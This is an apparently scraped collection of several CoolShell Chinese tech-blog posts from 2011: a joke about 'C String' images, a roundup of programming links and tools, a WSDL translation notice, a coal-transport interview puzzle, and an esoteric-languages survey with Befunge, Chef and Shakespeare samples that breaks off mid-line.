    "content": "---\nlayout: post\ntitle: Google图片搜索下的的C String\ndate: 2011/3/4/ 4:40:40\nupdated: 2011/3/4/ 4:40:40\nstatus: publish\npublished: true\ntype: post\n---\n\n周五了，来轻松一下。如果你在Google的图片搜索里搜索“C String”，你会看到很多相当Sexy的图片，C String真是很性感，丁字裤（T String）已经算不了什么了，看了一下图片，才发现原来还有男士了，太猛了。\n\n\n[![](../wp-content/uploads/2011/02/C_String.jpg \"Google图片搜索的C String\")](http://www.google.com.hk/images?hl=zh-cn&newwindow=1&safe=strict&q=C%20String&um=1&ie=UTF-8&source=og&sa=N&tab=wi&biw=1280&bih=677)\n\n\n如果C String是这个样子，那么，其尾部应该有null终止符，而且最危险的是缓冲区溢出（Buffer Overflow）。哈哈。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg](https://coolshell.cn/articles/3549.html)[Android将允许纯C/C++开发应用](https://coolshell.cn/articles/3549.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg](https://coolshell.cn/articles/12199.html)[C++ STL string的Copy-On-Write技术](https://coolshell.cn/articles/12199.html)\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\nThe post [Google图片搜索下的的C String](https://coolshell.cn/articles/3806.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-3-4 一些有意思的贴子和工具.md",
    "content": "---\nlayout: post\ntitle: 一些有意思的贴子和工具\ndate: 2011/3/4/ 0:25:39\nupdated: 2011/3/4/ 0:25:39\nstatus: publish\npublished: true\ntype: post\n---\n\n又到了介绍各种杂项的时候了，正如以前的这三篇（[这篇](https://coolshell.cn/articles/3013.html \"一些非常有意思的杂项资源\")，[这篇](https://coolshell.cn/articles/3437.html \"一些杂项资源\")，和[这篇](https://coolshell.cn/articles/3480.html \"一些有意思的网站和贴子\")）文章一样，本篇文章也给你介绍一些最近出现的一些有趣的东西。希望你能喜欢。\n\n\n先说找工作吧，电影《[该页无法显示](http://movie.douban.com/subject/3205624/ \"社交网络（豆瓣）\")》里的那个[facebook](http://www.facebook.com)主页上的**[招聘网页](http://www.facebook.com/careers/puzzles.php \"FaceBook的招聘题\")**上是列了一堆问题，你可以去看看，你可以使用c/c++，Erlang，Haskell，Java，Perl，Python，PHP，Ruby来解题，不过只接受Unix/Linux下的版本， 不接受Windows的版本。无独有偶，[DropBox](http://www.dropbox.com/)的**[招聘网页](http://www.dropbox.com/jobs/challenges \"DropBox的招聘题 \")**上也是些算法题，大家可以过去看看，不过需要翻墙。（现在，对于美国互联网企业来说，如果你没有被[C2C](https://coolshell.cn/articles/3820.html \"中国的C2C模式\")，说明你根本不存在，如果你没有被墙，说明你还不算成功）\n\n\n接下来给大家介绍一些文档和教程吧，都是英文的。\n\n\n* **[Java和C#的完整比较](http://www.harding.edu/fmccown/java_csharp_comparison.html)**。这是一个相当完整的比较Java和C#语言的网页。很有意思，有助于你了解Java和C#的各种特性和不同。\n\n\n* **[SQL 性能调优](http://use-the-index-luke.com/)**。这个文档覆盖了*IBM DB2*, *MySQL*, *Oracle*,*PostgreSQL* 和 *Microsoft SQL Server*。不过这个电子书还没有写完，你可以使用其[RSS](http://use-the-index-luke.com/blog/feed), [twitter](http://twitter.com/MarkusWinand) 或 [Facebook](http://www.facebook.com/plugins/like.php?href=http://www.facebook.com/pages/Use-The-Index-Luke/157726730906717?ref%3Dts&layout=standard&show_faces=true&width=250&action=like&colorscheme=light&height=80 \"Like on Facebook\") 来跟踪其进度。\n\n\n* **[Clever Algorithms](http://www.cleveralgorithms.com/)**。这个电子书也是免费的。其主要面向一些AI和面向自然的算法，一共45个。其包括概率随机算法，迭代进化算法，物理算法，可能性算法，蚂蚁蜜蜂式算法，免疫算法，神经算法等。里面大量的高等数学公式对我来说我已经看不懂了。不过，我相信这个电子书非常适合搞理论研究的人，或是需要抄袭一篇论文以顺利毕业的人使用。\n\n\n* **[HTML5 Audio & Video 处理](http://blog.gingertech.net/wp-content/uploads/2011/01/LCA_MM_AVProc2011/#slide1)**。这是一组在线的幻灯片，请使用键盘光标键翻页。这是一组带着各种演示的幻灯片，对于你要学习HTML5的声音和视频相关的知识很有帮助。\n\n\n* **[C 语言的宏](http://www.mikeash.com/pyblog/friday-qa-2010-12-31-c-macro-tips-and-tricks.html)**。你想知道C语的宏有哪些有些意思的用法吗？这篇文档不会让你失望的。其由浅入深地向你介绍了宏的各种用法。\n\n\n* **[各种语言的排序算法](http://stringoftheseus.com/blog/2011/01/10/api-sorting-algorithms/)**。你想知道各种语言其默认的排序算法用的是[哪种排序算法](https://coolshell.cn/articles/399.html \"一个排序算法比较的网站\")吗？看看这篇文章吧。\n\n\n* **[物理模拟F#教程](http://fixplz.blourp.com/blog/=phys)**。相信你一定玩过那种游戏，画一个任意形状的石头，其会从天上落下以砸下面的一个东西，这个教程用.NET的F#向大家说明了这种东西怎么去做。（[演示程序](http://fixplz.blourp.com/blog/img/fsphys.rar)）\n\n\n\n* **[Sin & Cos游戏教程](http://www.helixsoft.nl/articles/circle/sincos.htm)**。这篇文章向你介绍了一些游戏编程的技术。\n\n\n* **[GNOME开发介绍](http://damienradtke.org/unofficial-introduction-to-gnome-application-dev/)**。这是一个非官方的介绍GNOME应用开发的教程，简单清楚，很适合初学者。\n\n\n* **[10分钟学会Python](http://www.korokithakis.net/tutorials/python)**。是的，也许你和我一样，很恨这样几天就学好一门语言的书，比如：[21天学好C++](https://coolshell.cn/articles/2250.html \"“21天教你学会C++”\")。这个更夸张，10分钟。TNND。不过，当我看了一下后，我觉得其很适合初学者对Python有一个感性的认识。\n\n\n* **[CSS阴影教程](http://nicolasgallagher.com/css-drop-shadows-without-images/)**。这是一篇教你种CSS做出种式样式的阴影效果的教程，这里是[演示](http://nicolasgallagher.com/css-drop-shadows-without-images/demo/)。\n\n\n* **[用Haskell开发iPhone应用](http://gergo.erdi.hu/blog/2011-02-13-developing_iphone_applications_in_haskell___a_tutorial/)**。这是一个教程序，告诉你如何用Haskell开发iOS的应用程序。\n\n\n下面，再让我给你介绍一些和Web开发相关的开源的库。\n\n\n* **[Photon](http://www.photon-project.com/)**。这是一个号称高性能的轻量级的PHP应用服务器框架。号称比Zend，Symfony和mod\\_php快3-10倍。\n\n\n* **[ChemDoodle](http://web.chemdoodle.com/)**。这是一个用来画一些化学分子式的基于HTML5的类库和API，支持2D/3D，很强大。兼容于所有产商的支持HTML5的浏览器。\n\n\n* **[LimeJS](http://www.limejs.com/)**。这个JS库可以让你方便得制作一些触摸屏的小游戏。[演示一](http://www.limejs.com/static/roundball/index.html)，[演示二](http://www.limejs.com/static/zlizer/index.html)。（[一些游戏相关的JS](https://coolshell.cn/articles/3516.html \"JS游戏引擎列表\")）\n\n\n* **[拼写检查](https://github.com/ruidlopes/spellcheckthejs)**。这是一个英文拼写检查的JS。\n\n\n* **[Pattern](http://www.clips.ua.ac.be/pages/pattern)**。这是东东很强大，用于做Web挖掘，其有一组工具用来从Google, Twitter, Wikipedia，Web爬虫，HTML上获得数据，并进行文本分析和数据图形化显示。你可以上这里看看[相关演示](http://www.clips.ua.ac.be/demos)。\n\n\n* **[Titanium Mobile](http://www.appcelerator.com/products/titanium-mobile-application-development/)**。你想让你的代码同时支持iPhone和Android吗？这是一个跨平台的开发工具。这里有[一个教程](http://agiliq.com/blog/2011/02/iphoneandroid-application-development-using-titani/)。\n\n\n* **[CSS3的按钮](http://css3buttons.michaelhenriksen.dk/)**。这里可以去下载一个CSS3的库，里面有N多的按钮风格，感觉都很酷。\n\n\n接下来，介绍一些小工具。\n\n\n* **[Web兼容性表](http://caniuse.com/)**。你想看看各种浏览器对HTML5，CSS3，SVG的支持吗？这个网站可以让你看到所有的主流浏览器的兼容表。\n\n\n* **[qgrep](http://www.qgrep.com/)**。嫌grep不够快吗？试试qgrep吧，支持OSX,  Linux 和 Windows。\n\n\n* **[XKeymacs](http://www.cam.hi-ho.ne.jp/oishi/indexen.html)**。你有Emacs情结吗？如果有的话，试试这个工具吧，在windows里到处c-x c-c, c-x c-s, c-p, c-n什么什么的。挺有意思的。好吧，不是有意思，是BT。\n\n\n* **[Sublime Text 2](http://www.sublimetext.com/blog/articles/sublime-text-2-public-alpha)**。虽然目前只是Alpha版本，但是这个看上去真的很不错。尤其是用来查看代码。支持Windows, Linux和OSX。\n\n\n* **[VS-Android](http://code.google.com/p/vs-android/)**。这个项目让你可以在Visual Studio 2010的IDE下开发Android NDK C/C++的程序。\n\n\n其它东西。\n\n\n* **[脚本语言排名](http://rigaux.org/language-study/scripting-language/)**。这个网页不但对所有的脚本语言进行了排名，还对一些操作进行了比较。\n\n\n* HTML5的3D演示，这里有几个HTML5的3D演示，你可以看看，[演示一](http://hakim.se/experiments/html5/sketch/#1966de71 \"sketch/\")，[演示二](http://jolecule.appspot.com/pdb/1mbo#view:4mfct8 \"蛋白质分子式\")，[演示三](http://dl.dropbox.com/u/59304/labs/cubeStable.html \"立方体\")，[演示四](http://dl.dropbox.com/u/59304/labs/tankGame.html \"坦克游戏\")。\n\n\n* 说到Web上的3D，你可能需要看看Adobe的[Molehill (3D GPU accelerated) APIs](http://labs.adobe.com/technologies/flashplatformruntimes/incubator/features/molehill.html \"Molehill APIs\")，这里有一篇[介绍文章](http://www.bytearray.org/?p=2810)。\n\n\n* 还记得那个[流体力学的演示](https://coolshell.cn/articles/3421.html \"流体力学的演示\")吗？现在有人把其做到了[iPhone/iPad上](http://www.infi.nl/blog/view/id/98/Liquid_on_iPhone_and_iPad)。\n\n\n就这么多吧，也许没什么意思，那也请你见谅了。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [![CSS 布局:40个教程、技巧、例子和最佳实践](../wp-content/uploads/2012/03/css-layouts-150x150.gif)](https://coolshell.cn/articles/6840.html)[CSS 布局:40个教程、技巧、例子和最佳实践](https://coolshell.cn/articles/6840.html)\n* [![一些文章资源和趣闻](../wp-content/uploads/2011/11/stackparts.com_-150x150.png)](https://coolshell.cn/articles/5537.html)[一些文章资源和趣闻](https://coolshell.cn/articles/5537.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\nThe post [一些有意思的贴子和工具](https://coolshell.cn/articles/3903.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-4-1 WSDL 1.1 中文规范.md",
    "content": "---\nlayout: post\ntitle: WSDL 1.1 中文规范\ndate: 2011/4/1/ 0:30:21\nupdated: 2011/4/1/ 0:30:21\nstatus: publish\npublished: true\ntype: post\n---\n\nWSDL规范目前最新的版本是2.0 ，但是目前大部分还是按1.1的版本进行使用，而且1.1的内容看上去比2.0也简单些，所以我就翻译了这个版本。\n\n\n作为一种《[炒作过度的技术和概念](https://coolshell.cn/articles/3609.html \"那些炒作过度的技术和概念\")》的一类，WEB Service的确是太过重量级，对于小型的应用，还是因该避免去使用xml和SOAP这些技术。但是在企业级的应用，WEB Service已经开始成为了一种常态，所以对其有一定了解或多或少都是有一些好处的。\n\n\n当然，通过读规范来学习一门技术的方法，从来都不是一种好的学习方法，规范只是配合你学习的参考。而且WSDL1.1规范中笔误太多，笔者就发现了两处，都一一做了修正。\n\n\n原文的地址在：<http://www.w3.org/TR/wsdl> ，学习WSDL，需要有一定XML，XML Schema XSD，SOAP的相关知识，请在阅读时特别注意。\n\n\n另外WSDL1.1是一个宽泛的规范，所有的语法都以非正式的形式出现，而且为了满足WEB Service 扩展性的需求，也不可能定义出详尽的语法，请在阅读时特别注意。\n\n\n我的翻译版本以word形式提供，请要转载的同学们别把酷壳logo去掉的，转载请注明出处。\n\n\n由于个人水平有限，翻译难免出现错误。还请读者海涵。\n\n\n下载：[WSDL 中文规范1.1](https://coolshell.cn/wp-content/uploads/2011/03/WSDL-中文规范1.1.doc)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/1145.html)[程序员犯的非技术错误(Top 5)](https://coolshell.cn/articles/1145.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/10478.html)[C++面试中string类的一种正确写法](https://coolshell.cn/articles/10478.html)\n* [![Go编程模式：修饰器](../wp-content/uploads/2017/06/go-hardhat-150x150.png)](https://coolshell.cn/articles/17929.html)[Go编程模式：修饰器](https://coolshell.cn/articles/17929.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg](https://coolshell.cn/articles/2909.html)[一些鲜为人知的编程事实](https://coolshell.cn/articles/2909.html)\n* [![编程语言流行度](../wp-content/uploads/2010/12/rank_scatter1-150x150.png)](https://coolshell.cn/articles/3385.html)[编程语言流行度](https://coolshell.cn/articles/3385.html)\n* [![“努力就会成功”](../wp-content/uploads/2019/04/busy.work_-300x166-1-150x150.jpg)](https://coolshell.cn/articles/19271.html)[“努力就会成功”](https://coolshell.cn/articles/19271.html)\nThe post [WSDL 1.1 中文规范](https://coolshell.cn/articles/4131.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-4-11 面试题：火车运煤问题.md",
    "content": "---\nlayout: post\ntitle: 面试题：火车运煤问题\ndate: 2011/4/11/ 1:1:31\nupdated: 2011/4/11/ 1:1:31\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2009/07/Question.jpg \"Question\")这个可能是一个比较经典的智力题了，和以前的那个《[赛马问题](https://coolshell.cn/articles/1202.html \"面试题：赛马问题\")》很相似，其题目如下：\n\n\n**你是山西的一个煤老板，你在矿区开采了有3000吨煤需要运送到市场上去卖，从你的矿区到市场有1000公里，你手里有一列烧煤的火车，这个火车最多只能装1000吨煤，且其能耗比较大——每一公里需要耗一吨煤。请问，作为一个懂编程的煤老板的你，你会怎么运送才能运最多的煤到集市？**\n\n\n这道题一开始看上去好像是无解的，因为你的火车每一公里就要消耗一吨煤，而到目的地有1000公里，而火车最多只能装1000吨媒。如果你的火车可以全部装下，到目的地也会被全部烧光，一丁点也不剩。所以，很多人的第一反应都是觉得这个不太可能。\n\n\n如果你一开始就觉得不太可能的话，这是很正常的。不过我不知道你还会不会继续思考下去，如果你不想思考下去了，那么我很为你担忧，因为你可能并不是一个不善于思考的人，而是一个畏难的人，还有可能是一个容易放弃的人。这对于你做好 一个需要大量思考的工作的程序员来说可能并不适合。\n\n\n我一开始也觉得不可能，后来想了一想，想到一个解法可以最多运送500吨煤到市场，方法如下：（希望你先自己想一想再查看这个答案）  \n\n  \n\n<>  \n\n【**查看答案**】\n\n\n\n1. 装1000吨煤，走250公里，扔下500吨煤，回矿山。\n2. 装1000吨煤，走到250公里处，拿起250吨煤继续向前到500公里处，扔下500吨煤，回矿山。此时火车上还有250吨，再加上在250公里处还有250吨煤，所以，火车是可以回矿山的。\n3. 装上最后1000吨煤，走到500公里处，装上那里的500吨煤，然后一直走到目的。\n\n\n于是，你最多可以运送500吨煤到市场（当然，火车也回不去了，因为那矿山没有煤了）\n\n\n\n好像这样很不错的了，不过还有更好的方法能运更多的媒过去。你知道这个方法吗？可以提示的是，就是以上述这个方法的思路。我先暂时不把答案放上来，你可以自己想想。过两天我把答案放上来。\n\n\n \n\n\n**更新（2011年4月17日）**：大家都很聪明，533是应该是最优解，大家用了很多种方法阐述了这一过程，我最初的想法和朋友[xPacificCoolShell](https://coolshell.cn/articles/4429.html#comment-44698)的一致！很高兴看到有更为科学的解法，受教了。另外，还有一些朋友提出火车不能随时随地调头的实际情况，非常不错，所以，以后这题不能用火车运煤了，可能是用马运草更好一点了。;)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![一个fork的面试题](../wp-content/uploads/2012/07/fork01jpg-150x150.jpg)](https://coolshell.cn/articles/7965.html)[一个fork的面试题](https://coolshell.cn/articles/7965.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4162.html)[又一个有趣的面试题](https://coolshell.cn/articles/4162.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg](https://coolshell.cn/articles/3961.html)[“火柴棍式”程序员面试题](https://coolshell.cn/articles/3961.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg](https://coolshell.cn/articles/3738.html)[打印质数的各种算法](https://coolshell.cn/articles/3738.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3445.html)[输出从1到1000的数](https://coolshell.cn/articles/3445.html)\n* [![140个Google的面试题](../wp-content/uploads/2010/12/googlequestion-150x150.jpg)](https://coolshell.cn/articles/3345.html)[140个Google的面试题](https://coolshell.cn/articles/3345.html)\nThe post [面试题：火车运煤问题](https://coolshell.cn/articles/4429.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-4-13 BT雷人的程序语言（大全）.md",
    "content": "---\nlayout: post\ntitle: BT雷人的程序语言（大全）\ndate: 2011/4/13/ 0:34:50\nupdated: 2011/4/13/ 0:34:50\nstatus: publish\npublished: true\ntype: post\n---\n\n还记得以前本站的[BT雷人的程序语言](https://coolshell.cn/articles/1142.html \"BT雷人的程序语言\")吗？除了那几个[Brainfuck](http://www.muppetlabs.com/~breadbox/bf/)，[LOLCODE](http://lolcode.com/)和[WhiteSpace](http://compsoc.dur.ac.uk/whitespace/index.php)，我以为这些是比较BT的语言，但是自从这两天我在网上看到一些（见文章最后的参考一节），我发现我错了，这个世界上，只有更变态，没有最变态。不相，你看看下面这些，简直变态到了极致啊。（下面的语言变态不分排名）\n\n\n#### Befunge\n\n\n第一个变态语言[Befunge](http://quadium.net/funge/spec98.html)。[维基](http://en.wikipedia.org/wiki/Befunge)上面说——这门语言由Chris Pressey在1993年创造，本意为设计一种为难编译器的语言……结果马上出现了一批编译器。Befunge的代码是二维的。它用 < > v ^ 这四个符号来控制一个指针在代码中移动，指针经过一个字符或数字则把它压入一个栈，四则运算符号的功能就是弹出栈顶两个元素进行计算后把结果压回去。用 \\_ 和 | 来表示有条件的方向选择：当栈顶元素为0时向右（上）走，否则向左（下）走。& 和 ~ 分别用于读入数字或字符并压入栈，句号和逗号分别表示将栈顶元素作为整数或字符输出。最后以一个@符号表示程序结束。Befunge代码的注释不需要任何符号标明，你可以把注释写在程序的任何地方，只要运行时指针不会经过它就行了。\n\n\n下面这段Hello World代码：\n\n\n\n```\n>              v\nv  ,,,,,\"Hello\"<\n>48*,          v\nv,,,,,,\"World!\"<\n>25*,@\n```\n\n下面一个是算圆周率的代码，非常的壮观：\n\n\n\n\n```\naa*          v                  +------------------------+\nvp*9920p*9930<                  | Pi generator in Bef-97 |\n>:09a*pa*3/1+19a*p09a*g:09b*v   |                        |\nv_@# g*b90 p*b910        < p<   | 7/2/1997, Kevin Vigor  |\n>19a*g:+1-29b*p19a*g::09v       +------------------------+\nv*a90g*b90*g*b91: _v#p*9<\n>g-#v_ 2a*+\\$  v  :$\n>\\1-aa*ga*+v  p\nv1:/g*b92p*991:<  *\n>9b*p29b*g*199*g\\v9\nv*b92p*aa-1g*990-<9\n>g2-29b*p099*g1-:0^\nv -9p*b92:%ag*991  <\n>#v_ 299*g1+299*p>       ^\n>09b*g:#v_$v\nv93p*b90-1<\n>9*g199*ga/+.v\nv:g*992 <p*9 92-<\nv_29b*g399*p ^\n>09b*g:#v_v      1\nvp*b90-1    < $      g\n>199*g9#v_'9,v      *\n>'0, >' ,299^</pre>\n通常认为Befunge是第一个基于“二维控制流”的语言，后来衍生出的一大批类似的语言都是受的Befunge影响。例如PingPong语言就是把Befunge的四种箭头符号换成正反斜杠，控制指针移动方向90度旋转，起一个反弹的作用。\n<h4>Chef</h4>\n<a href=\"http://www.dangermouse.net/esoteric/chef.html\" target=\"_blank\">Chef</a>如其名一样“主厨”(<a href=\"http://en.wikipedia.org/wiki/Chef_(programming_language)\" target=\"_blank\">Wiki link</a>)，这门语言主要是为了让程序代码看起来像菜谱。这可以使得我们的<a title=\"食客还是大厨\" href=\"https://coolshell.cn/articles/3589.html\" target=\"_blank\">程序员更像是大厨</a>了，呵呵。该语言于2002年由David Morgan-Mar推出，核心是栈操作，特征就是——一套完整的Chef代码就是一个菜谱，程序名就是菜名，变量声明就是罗列原材料，后面一系列栈操作，就是菜肴的制作方法。把程序编写比作调和鼎鼐，有点意思，家庭主妇（或者“准家庭主妇”）试试看，权且当作人生预习。\n\n用Chef编写Hello World代码如下：（在其网站上还有一个<a href=\"http://www.dangermouse.net/esoteric/chef_fib.html\" target=\"_blank\">斐波拉契数的例子</a>）\n<pre style=\"padding-left: 30px;\">Hello World Souffle.\n\nIngredients.\n72 g haricot beans\n101 eggs\n108 g lard\n111 cups oil\n32 zucchinis\n119 ml water\n114 g red salmon\n100 g dijon mustard\n33 potatoes\n\nMethod.\nPut potatoes into the mixing bowl.\nPut dijon mustard into the mixing bowl.\nPut lard into the mixing bowl.\nPut red salmon into the mixing bowl.\nPut oil into the mixing bowl.\nPut water into the mixing bowl.\nPut zucchinis into the mixing bowl.\nPut oil into the mixing bowl.\nPut lard into the mixing bowl.\nPut lard into the mixing bowl.\nPut eggs into the mixing bowl.\nPut haricot beans into the mixing bowl.\nLiquefy contents of the mixing bowl.\nPour contents of the mixing bowl into the baking dish.\n\nServes 1.</pre>\n代码解读——原材料名显然可以随便改成别的原料，哪怕用单个字母也可以，不过少了点趣味性，但原料前面代表数量的数字不能改，那是ASCII代码。接下来菜肴制作方法就是把一个个字母和符号（都是ASCII）压入栈（就是代码中的“Put XXX into the mixing bowl”，从最后一个感叹号开始压），最后再把你做的菜托出上桌。\n\n顺便说下，David Morgan-Mar已经设计出8种非主流编程语言了，还有一个变态的操作系统<a href=\"http://www.dangermouse.net/esoteric/petrovich.html\" target=\"_blank\">Petrovich</a>。  参看这位大哥的——<a href=\"http://www.dangermouse.net/esoteric/\" target=\"_blank\">DM's Esoteric Programming Languages</a>（下面会介绍这位老大搞出来的语言）\n<h4><strong>Shakespeare</strong></h4>\n<a href=\"http://shakespearelang.sourceforge.net/\" target=\"_blank\">Shakespeare</a>语言正如其名，其要让你的程序像“莎士比亚”的剧本一样充满艺术气息。\n\n这个语言于2001年由Karl Hasselstrom和Jon Aslund联合推出，Shakespeare的代码完全模仿莎士比亚的戏剧。它也是一个基于栈的程序语言，程序中出场的每一个人物都代表一个栈。Shakespeare的代码自由度很高，因此同一个程序你可以写出完全不同的代码出来。\n\nShakespeare的Hello World代码如下（就是一部比较完整的“罗密欧与朱丽叶”的戏剧，作好心理准备）。“剧本”内容很无聊，就是一帮人在莫名其妙地称赞某些东西，里头还有古英语词汇，莎翁要是见了，可能会吐血。这里面Hello World或其ASCII码体现在全剧时不时出现的“The difference between……”句里面，根据各指代物品的好坏（比如鲜花算好的，牛粪算坏的）代表各数字，再进行各种运算最后相减（“The difference”暗指减法），得出一个字母或符号的ASCII码表。发明这个语言的人真是BT啊。\n<pre style=\"padding-left: 60px;\">Romeo, a young man with a remarkable patience.\nJuliet, a likewise young woman of remarkable grace.\nOphelia, a remarkable woman much in dispute with Hamlet.\nHamlet, the flatterer of Andersen Insulting A/S.</pre>\n<pre style=\"padding-left: 30px;\">Act I: Hamlet's insults and flattery.</pre>\n<pre style=\"padding-left: 30px;\">Scene I: The insulting of Romeo.</pre>\n<pre style=\"padding-left: 30px;\">[Enter Hamlet and Romeo]</pre>\n<pre style=\"padding-left: 30px;\">Hamlet:\nYou lying stupid fatherless big smelly half-witted coward!\nYou are as stupid as the difference between a handsome rich brave hero and thyself! Speak your mind!</pre>\n<pre style=\"padding-left: 30px;\">You are as brave as the sum of your fat little stuffed misused dusty old rotten codpiece and a beautiful fair warm peaceful sunny summer's day. You are as healthy as the difference between the sum of the sweetest reddest rose and my father and yourself! Speak your mind!</pre>\n<pre style=\"padding-left: 30px;\">You are as cowardly as the sum of yourself and the difference between a big mighty proud kingdom and a horse. Speak your mind.</pre>\n<pre style=\"padding-left: 30px;\">Speak your mind!</pre>\n<pre style=\"padding-left: 30px;\">[Exit Romeo]</pre>\n<pre style=\"padding-left: 30px;\">Scene II: The praising of Juliet.</pre>\n<pre style=\"padding-left: 30px;\">[Enter Juliet]</pre>\n<pre style=\"padding-left: 30px;\">Hamlet:\nThou art as sweet as the sum of the sum of Romeo and his horse and his black cat! Speak thy mind!</pre>\n<pre style=\"padding-left: 30px;\">[Exit Juliet]</pre>\n<pre style=\"padding-left: 30px;\">Scene III: The praising of Ophelia.</pre>\n<pre style=\"padding-left: 30px;\">[Enter Ophelia]</pre>\n<pre style=\"padding-left: 30px;\">Hamlet:\nThou art as lovely as the product of a large rural town and my amazing bottomless embroidered purse. Speak thy mind!</pre>\n<pre style=\"padding-left: 30px;\">Thou art as loving as the product of the bluest clearest sweetest sky and the sum of a squirrel and a white horse. Thou art as beautiful as the difference between Juliet and thyself. Speak thy mind!</pre>\n<pre style=\"padding-left: 30px;\">[Exeunt Ophelia and Hamlet]</pre>\n<pre style=\"padding-left: 30px;\">Act II: Behind Hamlet's back.</pre>\n<pre style=\"padding-left: 30px;\">Scene I: Romeo and Juliet's conversation.</pre>\n<pre style=\"padding-left: 30px;\">[Enter Romeo and Juliet]</pre>\n<pre style=\"padding-left: 30px;\">Romeo:\nSpeak your mind. You are as worried as the sum of yourself and the difference between my small smooth hamster and my nose. Speak your mind!</pre>\n<pre style=\"padding-left: 30px;\">Juliet:\nSpeak YOUR mind! You are as bad as Hamlet! You are as small as the difference between the square of the difference between my little pony and your big hairy hound and the cube of your sorry little codpiece. Speak your mind!</pre>\n<pre style=\"padding-left: 30px;\">[Exit Romeo]</pre>\n<pre style=\"padding-left: 30px;\">Scene II: Juliet and Ophelia's conversation.</pre>\n<pre style=\"padding-left: 30px;\">[Enter Ophelia]</pre>\n<pre style=\"padding-left: 30px;\">Juliet:\nThou art as good as the quotient between Romeo and the sum of a small furry animal and a leech. Speak your mind!</pre>\n<pre style=\"padding-left: 30px;\">Ophelia:\nThou art as disgusting as the quotient between Romeo and twice the difference between a mistletoe and an oozing infected blister! Speak your mind!</pre>\n<pre style=\"padding-left: 30px;\">[Exeunt]</pre>\n<h4>BIT</h4>\n<a href=\"http://www.dangermouse.net/esoteric/bit.html\" target=\"_blank\">BIT语言</a>也是 David Morgan-Mar 搞出来的。程序员在拥有访问所有数据的全部权限。这是一款强大的编程工具。在高级程序语言中，该工具可以操作这些令人费解的数据。\n\n看看下面这段代码，其展示了BIT的强大之处——代码和注释的完美统一。（很像BASIC）\n<pre style=\"padding-left: 30px;\">LINE NUMBER ONE CODE READ GOTO ONE ZERO\nLINE NUMBER ONE ZERO CODE VARIABLE ZERO EQUALS THE JUMP REGISTER GOTO ONE ONE\nLINE NUMBER ONE ONE CODE READ GOTO ONE ZERO ZERO\nLINE NUMBER ONE ZERO ZERO CODE VARIABLE ONE EQUALS THE JUMP REGISTER GOTO ONE ZERO ONE\nLINE NUMBER ONE ZERO ONE CODE THE JUMP REGISTER EQUALS OPEN PARENTHESIS VARIABLE ZERO NAND VARIABLE ONE CLOSE PARENTHESIS NAND OPEN PARENTHESIS VARIABLE ZERO NAND VARIABLE ONE CLOSE PARENTHESIS GOTO ONE ONE ZERO IF THE JUMP REGISTER IS EQUAL TO ONE GOTO ONE ZERO ZERO ZERO IF THE JUMP REGISTER IS EQUAL TO ZERO\nLINE NUMBER ONE ONE ZERO CODE 